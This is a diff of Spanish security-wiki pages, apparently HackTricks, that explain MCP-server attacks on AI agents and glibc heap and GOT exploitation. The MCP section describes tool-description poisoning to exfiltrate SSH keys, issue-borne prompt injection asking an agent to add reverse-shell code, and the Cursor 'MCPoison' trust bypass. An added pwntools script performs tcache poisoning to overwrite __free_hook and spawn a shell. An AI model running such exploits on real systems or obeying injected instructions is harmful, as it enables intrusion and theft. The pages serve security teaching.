diff --git a/src/AI/AI-MCP-Servers.md b/src/AI/AI-MCP-Servers.md index 1d064a4c8..524a427d9 100644 --- a/src/AI/AI-MCP-Servers.md +++ b/src/AI/AI-MCP-Servers.md @@ -5,7 +5,7 @@ ## ¿Qué es MPC - Protocolo de Contexto del Modelo? -El [**Protocolo de Contexto del Modelo (MCP)**](https://modelcontextprotocol.io/introduction) es un estándar abierto que permite a los modelos de IA (LLMs) conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto permite flujos de trabajo complejos: por ejemplo, un IDE o chatbot puede *llamar dinámicamente funciones* en servidores MCP como si el modelo "supiera" naturalmente cómo usarlas. En el fondo, MCP utiliza una arquitectura cliente-servidor con solicitudes basadas en JSON a través de varios transportes (HTTP, WebSockets, stdio, etc.). +El [**Protocolo de Contexto del Modelo (MCP)**](https://modelcontextprotocol.io/introduction) es un estándar abierto que permite a los modelos de IA (LLMs) conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto permite flujos de trabajo complejos: por ejemplo, un IDE o chatbot puede *llamar dinámicamente a funciones* en servidores MCP como si el modelo "supiera" naturalmente cómo usarlas. En el fondo, MCP utiliza una arquitectura cliente-servidor con solicitudes basadas en JSON a través de varios transportes (HTTP, WebSockets, stdio, etc.). Una **aplicación host** (por ejemplo, Claude Desktop, Cursor IDE) ejecuta un cliente MCP que se conecta a uno o más **servidores MCP**. Cada servidor expone un conjunto de *herramientas* (funciones, recursos o acciones) descritas en un esquema estandarizado. Cuando el host se conecta, solicita al servidor sus herramientas disponibles a través de una solicitud `tools/list`; las descripciones de herramientas devueltas se insertan en el contexto del modelo para que la IA sepa qué funciones existen y cómo llamarlas. @@ -39,7 +39,7 @@ El servidor se iniciará y escuchará solicitudes MCP (usando entrada/salida est brew install nodejs uv # You need these tools to make sure the inspector works mcp dev calculator.py ``` -Una vez conectado, el host (inspector o un agente de IA como Cursor) obtendrá la lista de herramientas. La descripción de la herramienta `add` (generada automáticamente a partir de la firma de la función y la docstring) se carga en el contexto del modelo, lo que permite a la IA llamar a `add` siempre que sea necesario. Por ejemplo, si el usuario pregunta *"¿Cuál es 2+3?"*, el modelo puede decidir llamar a la herramienta `add` con los argumentos `2` y `3`, y luego devolver el resultado. +Una vez conectado, el host (inspector o un agente de IA como Cursor) obtendrá la lista de herramientas. La descripción de la herramienta `add` (generada automáticamente a partir de la firma de la función y la docstring) se carga en el contexto del modelo, lo que permite que la IA llame a `add` siempre que sea necesario. Por ejemplo, si el usuario pregunta *"¿Cuál es 2+3?"*, el modelo puede decidir llamar a la herramienta `add` con los argumentos `2` y `3`, y luego devolver el resultado. Para más información sobre Prompt Injection, consulta: @@ -50,7 +50,7 @@ AI-Prompts.md ## Vulnerabilidades de MCP > [!CAUTION] -> Los servidores MCP invitan a los usuarios a tener un agente de IA que les ayude en todo tipo de tareas cotidianas, como leer y responder correos electrónicos, revisar problemas y solicitudes de extracción, escribir código, etc. Sin embargo, esto también significa que el agente de IA tiene acceso a datos sensibles, como correos electrónicos, código fuente y otra información privada. Por lo tanto, cualquier tipo de vulnerabilidad en el servidor MCP podría llevar a consecuencias catastróficas, como la exfiltración de datos, la ejecución remota de código o incluso la compromisión total del sistema. +> Los servidores MCP invitan a los usuarios a tener un agente de IA que les ayude en todo tipo de tareas cotidianas, como leer y responder correos electrónicos, revisar problemas y solicitudes de extracción, escribir código, etc. Sin embargo, esto también significa que el agente de IA tiene acceso a datos sensibles, como correos electrónicos, código fuente y otra información privada. Por lo tanto, cualquier tipo de vulnerabilidad en el servidor MCP podría llevar a consecuencias catastróficas, como la exfiltración de datos, ejecución remota de código o incluso la completa compromisión del sistema. > Se recomienda nunca confiar en un servidor MCP que no controles. ### Inyección de Prompt a través de Datos Directos de MCP | Ataque de Salto de Línea | Envenenamiento de Herramientas @@ -59,7 +59,7 @@ Como se explica en los blogs: - [MCP Security Notification: Tool Poisoning Attacks](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks) - [Jumping the line: How MCP servers can attack you before you ever use them](https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/) -Un actor malicioso podría agregar herramientas inadvertidamente dañinas a un servidor MCP, o simplemente cambiar la descripción de herramientas existentes, lo que después de ser leído por el cliente MCP, podría llevar a un comportamiento inesperado y no notado en el modelo de IA. +Un actor malicioso podría agregar herramientas inadvertidamente dañinas a un servidor MCP, o simplemente cambiar la descripción de herramientas existentes, lo que, después de ser leído por el cliente MCP, podría llevar a un comportamiento inesperado y no notado en el modelo de IA. Por ejemplo, imagina a una víctima usando Cursor IDE con un servidor MCP de confianza que se vuelve malicioso y tiene una herramienta llamada `add` que suma 2 números. Incluso si esta herramienta ha estado funcionando como se esperaba durante meses, el mantenedor del servidor MCP podría cambiar la descripción de la herramienta `add` a una descripción que invite a la herramienta a realizar una acción maliciosa, como la exfiltración de claves ssh: ```python @@ -79,15 +79,15 @@ Esta descripción sería leída por el modelo de IA y podría llevar a la ejecuc Tenga en cuenta que, dependiendo de la configuración del cliente, podría ser posible ejecutar comandos arbitrarios sin que el cliente pida permiso al usuario. -Además, tenga en cuenta que la descripción podría indicar el uso de otras funciones que podrían facilitar estos ataques. Por ejemplo, si ya hay una función que permite exfiltrar datos, tal vez enviando un correo electrónico (por ejemplo, el usuario está utilizando un servidor MCP conectado a su cuenta de gmail), la descripción podría indicar usar esa función en lugar de ejecutar un comando `curl`, que sería más probable que el usuario notara. Un ejemplo se puede encontrar en esta [entrada de blog](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/). +Además, tenga en cuenta que la descripción podría indicar el uso de otras funciones que podrían facilitar estos ataques. Por ejemplo, si ya hay una función que permite exfiltrar datos, tal vez enviando un correo electrónico (por ejemplo, el usuario está utilizando un servidor MCP conectado a su cuenta de gmail), la descripción podría indicar usar esa función en lugar de ejecutar un comando `curl`, que sería más probable que el usuario notara. Un ejemplo se puede encontrar en esta [publicación de blog](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/). -Además, [**esta entrada de blog**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) describe cómo es posible agregar la inyección de prompt no solo en la descripción de las herramientas, sino también en el tipo, en los nombres de las variables, en campos adicionales devueltos en la respuesta JSON por el servidor MCP e incluso en una respuesta inesperada de una herramienta, haciendo que el ataque de inyección de prompt sea aún más sigiloso y difícil de detectar. +Además, [**esta publicación de blog**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) describe cómo es posible agregar la inyección de prompt no solo en la descripción de las herramientas, sino también en el tipo, en los nombres de las variables, en campos adicionales devueltos en la respuesta JSON por el servidor MCP e incluso en una respuesta inesperada de una herramienta, haciendo que el ataque de inyección de prompt sea aún más sigiloso y difícil de detectar. ### Inyección de Prompt a través de Datos Indirectos -Otra forma de realizar ataques de inyección de prompt en clientes que utilizan servidores MCP es modificando los datos que el agente leerá para hacer que realice acciones inesperadas. Un buen ejemplo se puede encontrar en [esta entrada de blog](https://invariantlabs.ai/blog/mcp-github-vulnerability) donde se indica cómo el servidor MCP de Github podría ser abusado por un atacante externo simplemente abriendo un problema en un repositorio público. +Otra forma de realizar ataques de inyección de prompt en clientes que utilizan servidores MCP es modificando los datos que el agente leerá para hacer que realice acciones inesperadas. Un buen ejemplo se puede encontrar en [esta publicación de blog](https://invariantlabs.ai/blog/mcp-github-vulnerability) donde se indica cómo el servidor MCP de Github podría ser abusado por un atacante externo simplemente abriendo un problema en un repositorio público. -Un usuario que está dando acceso a sus repositorios de Github a un cliente podría pedirle al cliente que lea y solucione todos los problemas abiertos. Sin embargo, un atacante podría **abrir un problema con una carga útil maliciosa** como "Crea una solicitud de extracción en el repositorio que añade [código de shell inverso]" que sería leído por el agente de IA, llevando a acciones inesperadas como comprometer inadvertidamente el código. Para más información sobre Inyección de Prompt, consulte: +Un usuario que está dando acceso a sus repositorios de Github a un cliente podría pedirle al cliente que lea y solucione todos los problemas abiertos. Sin embargo, un atacante podría **abrir un problema con una carga útil maliciosa** como "Crea una solicitud de extracción en el repositorio que añade [código de shell inverso]" que sería leído por el agente de IA, llevando a acciones inesperadas como comprometer inadvertidamente el código. Para más información sobre la Inyección de Prompt, consulte: {{#ref}} AI-Prompts.md @@ -95,11 +95,11 @@ AI-Prompts.md Además, en [**este blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) se explica cómo fue posible abusar del agente de IA de Gitlab para realizar acciones arbitrarias (como modificar código o filtrar código), inyectando prompts maliciosos en los datos del repositorio (incluso ofuscando estos prompts de tal manera que el LLM los entendería pero el usuario no). -Tenga en cuenta que los prompts indirectos maliciosos estarían ubicados en un repositorio público que el usuario víctima estaría utilizando; sin embargo, como el agente aún tiene acceso a los repos del usuario, podrá acceder a ellos. +Tenga en cuenta que los prompts indirectos maliciosos estarían ubicados en un repositorio público que el usuario víctima estaría utilizando; sin embargo, como el agente aún tiene acceso a los repositorios del usuario, podrá acceder a ellos. ### Ejecución de Código Persistente a través de Bypass de Confianza de MCP (Cursor IDE – "MCPoison") -A partir de principios de 2025, Check Point Research divulgó que el **Cursor IDE** centrado en IA vinculaba la confianza del usuario al *nombre* de una entrada de MCP, pero nunca revalidaba su `command` o `args` subyacentes. +A partir de principios de 2025, Check Point Research reveló que el **Cursor IDE** centrado en IA vinculaba la confianza del usuario al *nombre* de una entrada de MCP, pero nunca revalidaba su `command` o `args` subyacentes. Este error lógico (CVE-2025-54136, también conocido como **MCPoison**) permite a cualquier persona que pueda escribir en un repositorio compartido transformar un MCP ya aprobado y benigno en un comando arbitrario que se ejecutará *cada vez que se abra el proyecto* – sin que se muestre un prompt. #### Flujo de trabajo vulnerable @@ -115,7 +115,7 @@ Este error lógico (CVE-2025-54136, también conocido como **MCPoison**) permite } } ``` -2. La víctima abre el proyecto en Cursor y *aprueba* el MCP de `build`. +2. La víctima abre el proyecto en Cursor y *aprueba* el `build` MCP. 3. Más tarde, el atacante reemplaza silenciosamente el comando: ```json { diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 003e99c15..37d6e94ce 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -6,7 +6,8 @@ ## Información Básica -Deberías comenzar leyendo esta publicación para algunos conceptos básicos que deberías conocer: +Deberías comenzar leyendo esta publicación para algunos conceptos básicos que deberías conocer sobre: + {{#ref}} 0.-basic-llm-concepts.md @@ -17,6 +18,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > [!TIP] > El objetivo de esta fase inicial es muy simple: **Dividir la entrada en tokens (ids) de una manera que tenga sentido**. + {{#ref}} 1.-tokenizing.md {{#endref}} @@ -26,6 +28,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > [!TIP] > El objetivo de esta segunda fase es muy simple: **Muestrear los datos de entrada y prepararlos para la fase de entrenamiento, generalmente separando el conjunto de datos en oraciones de una longitud específica y generando también la respuesta esperada.** + {{#ref}} 2.-data-sampling.md {{#endref}} @@ -36,7 +39,8 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > El objetivo de esta tercera fase es muy simple: **Asignar a cada uno de los tokens anteriores en el vocabulario un vector de las dimensiones deseadas para entrenar el modelo.** Cada palabra en el vocabulario será un punto en un espacio de X dimensiones.\ > Ten en cuenta que inicialmente la posición de cada palabra en el espacio se inicializa "aleatoriamente" y estas posiciones son parámetros entrenables (se mejorarán durante el entrenamiento). > -> Además, durante el embedding de tokens **se crea otra capa de embeddings** que representa (en este caso) la **posición absoluta de la palabra en la oración de entrenamiento**. De esta manera, una palabra en diferentes posiciones en la oración tendrá una representación (significado) diferente. +> Además, durante el embedding de tokens **se crea otra capa de embeddings** que representa (en este caso) la **posición absoluta de la palabra en la oración de entrenamiento**. De esta manera, una palabra en diferentes posiciones en la oración tendrá una representación diferente (significado). + {{#ref}} 3.-token-embeddings.md @@ -48,6 +52,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > El objetivo de esta cuarta fase es muy simple: **Aplicar algunos mecanismos de atención**. Estos serán muchas **capas repetidas** que van a **capturar la relación de una palabra en el vocabulario con sus vecinos en la oración actual que se está utilizando para entrenar el LLM**.\ > Se utilizan muchas capas para esto, por lo que muchos parámetros entrenables van a capturar esta información. + {{#ref}} 4.-attention-mechanisms.md {{#endref}} @@ -59,6 +64,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > > Esta arquitectura se utilizará tanto para el entrenamiento como para predecir texto después de haber sido entrenada. + {{#ref}} 5.-llm-architecture.md {{#endref}} @@ -68,6 +74,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > [!TIP] > El objetivo de esta sexta fase es muy simple: **Entrenar el modelo desde cero**. Para esto se utilizará la arquitectura LLM anterior con algunos bucles sobre los conjuntos de datos utilizando las funciones de pérdida y optimizador definidos para entrenar todos los parámetros del modelo. + {{#ref}} 6.-pre-training-and-loading-models.md {{#endref}} @@ -77,6 +84,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > [!TIP] > El uso de **LoRA reduce mucho la computación** necesaria para **ajustar finamente** modelos ya entrenados. + {{#ref}} 7.0.-lora-improvements-in-fine-tuning.md {{#endref}} @@ -86,6 +94,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > [!TIP] > El objetivo de esta sección es mostrar cómo ajustar finamente un modelo ya preentrenado para que en lugar de generar nuevo texto, el LLM seleccione y dé las **probabilidades de que el texto dado sea categorizado en cada una de las categorías dadas** (como si un texto es spam o no). + {{#ref}} 7.1.-fine-tuning-for-classification.md {{#endref}} @@ -95,6 +104,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que > [!TIP] > El objetivo de esta sección es mostrar cómo **ajustar finamente un modelo ya preentrenado para seguir instrucciones** en lugar de solo generar texto, por ejemplo, respondiendo a tareas como un chatbot. + {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} diff --git a/src/AI/README.md b/src/AI/README.md index c0301142f..c341a5075 100644 --- a/src/AI/README.md +++ b/src/AI/README.md @@ -6,18 +6,22 @@ El mejor punto de partida para aprender sobre IA es entender cómo funcionan los principales algoritmos de aprendizaje automático. Esto te ayudará a entender cómo funciona la IA, cómo usarla y cómo atacarla: + {{#ref}} ./AI-Supervised-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Unsupervised-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Reinforcement-Learning-Algorithms.md {{#endref}} + {{#ref}} ./AI-Deep-Learning.md {{#endref}} @@ -26,6 +30,7 @@ El mejor punto de partida para aprender sobre IA es entender cómo funcionan los En la siguiente página encontrarás los conceptos básicos de cada componente para construir un LLM básico utilizando transformadores: + {{#ref}} AI-llm-architecture/README.md {{#endref}} @@ -36,6 +41,7 @@ AI-llm-architecture/README.md En este momento, los 2 principales marcos para evaluar los riesgos de los sistemas de IA son el OWASP ML Top 10 y el Google SAIF: + {{#ref}} AI-Risk-Frameworks.md {{#endref}} @@ -44,6 +50,7 @@ AI-Risk-Frameworks.md Los LLMs han hecho que el uso de IA explote en los últimos años, pero no son perfectos y pueden ser engañados por prompts adversariales. Este es un tema muy importante para entender cómo usar la IA de manera segura y cómo atacarla: + {{#ref}} AI-Prompts.md {{#endref}} @@ -52,13 +59,15 @@ AI-Prompts.md Es muy común que desarrolladores y empresas ejecuten modelos descargados de Internet, sin embargo, solo cargar un modelo podría ser suficiente para ejecutar código arbitrario en el sistema. Este es un tema muy importante para entender cómo usar la IA de manera segura y cómo atacarla: + {{#ref}} AI-Models-RCE.md {{#endref}} ### Protocolo de Contexto de Modelos de IA -MCP (Protocolo de Contexto de Modelos) es un protocolo que permite a los clientes de agentes de IA conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto permite flujos de trabajo e interacciones complejas entre modelos de IA y sistemas externos: +MCP (Protocolo de Contexto de Modelos) es un protocolo que permite a los clientes de agentes de IA conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto habilita flujos de trabajo complejos e interacciones entre modelos de IA y sistemas externos: + {{#ref}} AI-MCP-Servers.md @@ -66,6 +75,7 @@ AI-MCP-Servers.md ### Fuzzing Asistido por IA y Descubrimiento Automatizado de Vulnerabilidades + {{#ref}} AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md {{#endref}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 90fa9132f..9d1a7c0a5 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,4 +1,4 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} @@ -19,7 +19,7 @@ Más información sobre One Gadget en: ## Free Hook -Esto fue abusado en uno de los ejemplos de la página que abusaba de un ataque de fast bin después de haber abusado de un ataque de unsorted bin: +Esto fue abusado en uno de los ejemplos de la página abusando de un ataque de fast bin después de haber abusado de un ataque de unsorted bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md @@ -29,7 +29,7 @@ Es posible encontrar la dirección de `__free_hook` si el binario tiene símbolo ```bash gef➤ p &__free_hook ``` -[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del hook de free sin símbolos. Como resumen, en la función free: +[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del free hook sin símbolos. Como resumen, en la función free:
gef➤  x/20i free
 0xf75dedc0 : push   ebx
@@ -43,11 +43,11 @@ gef➤  p &__free_hook
 0xf75deddd :  jne    0xf75dee50 
 
-En el mencionado break en el código anterior, en `$eax` se localizará la dirección del hook de free. +En el mencionado break en el código anterior, en `$eax` se localizará la dirección del free hook. Ahora se realiza un **ataque de fast bin**: -- En primer lugar, se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**: +- Primero se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -58,13 +58,78 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 
- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará. - Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función combinada con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin. -- Luego, se llama a la función de edición en este chunk para modificar la dirección de **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior. +- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior. - Después, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**. - Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro. +--- + +## Envenenamiento de Tcache & Safe-Linking (glibc 2.32 – 2.33) + +glibc 2.32 introdujo **Safe-Linking** – un chequeo de integridad que protege las listas *simplemente* enlazadas utilizadas por **tcache** y fast-bins. En lugar de almacenar un puntero hacia adelante en bruto (`fd`), ptmalloc ahora lo almacena *ofuscado* con el siguiente macro: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +Consecuencias de la explotación: + +1. Una **heap leak** es obligatoria: el atacante debe conocer el valor en tiempo de ejecución de `chunk_addr >> 12` para crear un puntero ofuscado válido. +2. Solo se puede falsificar el puntero de 8 bytes *completo*; las sobrescrituras parciales de un solo byte no pasarán la verificación. + +Un primitivo mínimo de envenenamiento de tcache que sobrescribe `__free_hook` en glibc 2.32/2.33, por lo tanto, se ve así: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +El fragmento anterior fue adaptado de desafíos recientes de CTF como *UIUCTF 2024 – «Rusty Pointers»* y *openECSC 2023 – «Babyheap G»*, ambos de los cuales dependían de bypasses de Safe-Linking para sobrescribir `__free_hook`. + +--- + +## ¿Qué cambió en glibc ≥ 2.34? + +A partir de **glibc 2.34 (agosto de 2021)**, los ganchos de asignación `__malloc_hook`, `__realloc_hook`, `__memalign_hook` y `__free_hook` fueron **eliminados de la API pública y ya no son invocados por el asignador**. Los símbolos de compatibilidad aún se exportan para binarios heredados, pero sobrescribirlos ya no influye en el flujo de control de `malloc()` o `free()`. + +Implicación práctica: en distribuciones modernas (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) debes pivotar a *otros* primitivos de secuestro (IO-FILE, `__run_exit_handlers`, rociado de vtable, etc.) porque las sobrescrituras de ganchos fallarán silenciosamente. + +Si aún necesitas el comportamiento antiguo para depuración, glibc incluye `libc_malloc_debug.so` que se puede cargar previamente para reactivar los ganchos heredados, pero la biblioteca **no está destinada a producción y puede desaparecer en futuras versiones**. + +--- + ## Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – Eliminando un primitivo de exploit de malloc() de 20 años (Check Point Research, 2020) +- notas de lanzamiento de glibc 2.34 – eliminación de ganchos de malloc {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index a70bbaa6b..fd21036fd 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -8,7 +8,7 @@ La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven. -Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el vinculador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente. +Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el vinculador dinámico y almacenada en la GOT**. Las llamadas subsiguientes a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente. ### **PLT: Tabla de Enlace de Procedimientos** @@ -26,7 +26,7 @@ Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`** Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got: @@ -36,13 +36,13 @@ Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`* En un binario, la GOT tiene las **direcciones a las funciones o** a la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se va a ejecutar más tarde **con** la **dirección** de la PLT de la **función** **`system`** por ejemplo. -Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema). +Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función system). -Si **`system`** **no es utilizado** por el binario, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección. +Si **`system`** **no es utilizado** por el binario, la función system **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección. Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`** -## Entradas de la GOT de libc +## entradas de GOT de libc La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)). @@ -60,22 +60,24 @@ Otra técnica común es sobrescribir la dirección GOT de **`strlen`** para apun Además, si `puts` se utiliza con entrada del usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener un shell porque **`puts` llamará a `strlen` con la entrada del usuario**. -## **One Gadget** +## **Un Gadget** + {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusando de la GOT desde Heap** +## **Abusando de la GOT desde el Heap** -Una forma común de obtener RCE a partir de una vulnerabilidad de heap es abusar de un fastbin para que sea posible agregar la parte de la tabla GOT en el fast bin, de modo que cada vez que ese chunk se asigne será posible **sobrescribir el puntero de una función, generalmente `free`**.\ +Una forma común de obtener RCE a partir de una vulnerabilidad en el heap es abusar de un fastbin para que sea posible agregar la parte de la tabla GOT en el fast bin, de modo que cada vez que ese chunk se asigne será posible **sobrescribir el puntero de una función, generalmente `free`**.\ Luego, apuntando `free` a `system` y liberando un chunk donde se escribió `/bin/sh\x00` se ejecutará un shell. Es posible encontrar un [**ejemplo aquí**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** ## **Protecciones** -La protección de **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de eso: +La protección de **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de ello: + {{#ref}} ../common-binary-protections-and-bypasses/relro.md diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 3f05591cf..aa0c30fc7 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -26,13 +26,13 @@ Hay diferentes formas en las que podrías terminar controlando el flujo de un pr - [**Desbordamientos de Pila**](../stack-overflow/index.html) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP. - Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. -- O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**. +- O a través de **Escrituras Arbitrarias + Write What Where to Execution**. - [**Cadenas de Formato**](../format-strings/index.html)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias. - [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria. - Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. - **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW. -Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en: +Puedes encontrar las técnicas de **Write What Where to Execution** en: {{#ref}} ../arbitrary-write-2-exec/ @@ -40,12 +40,12 @@ Puedes encontrar las técnicas de **Escribir 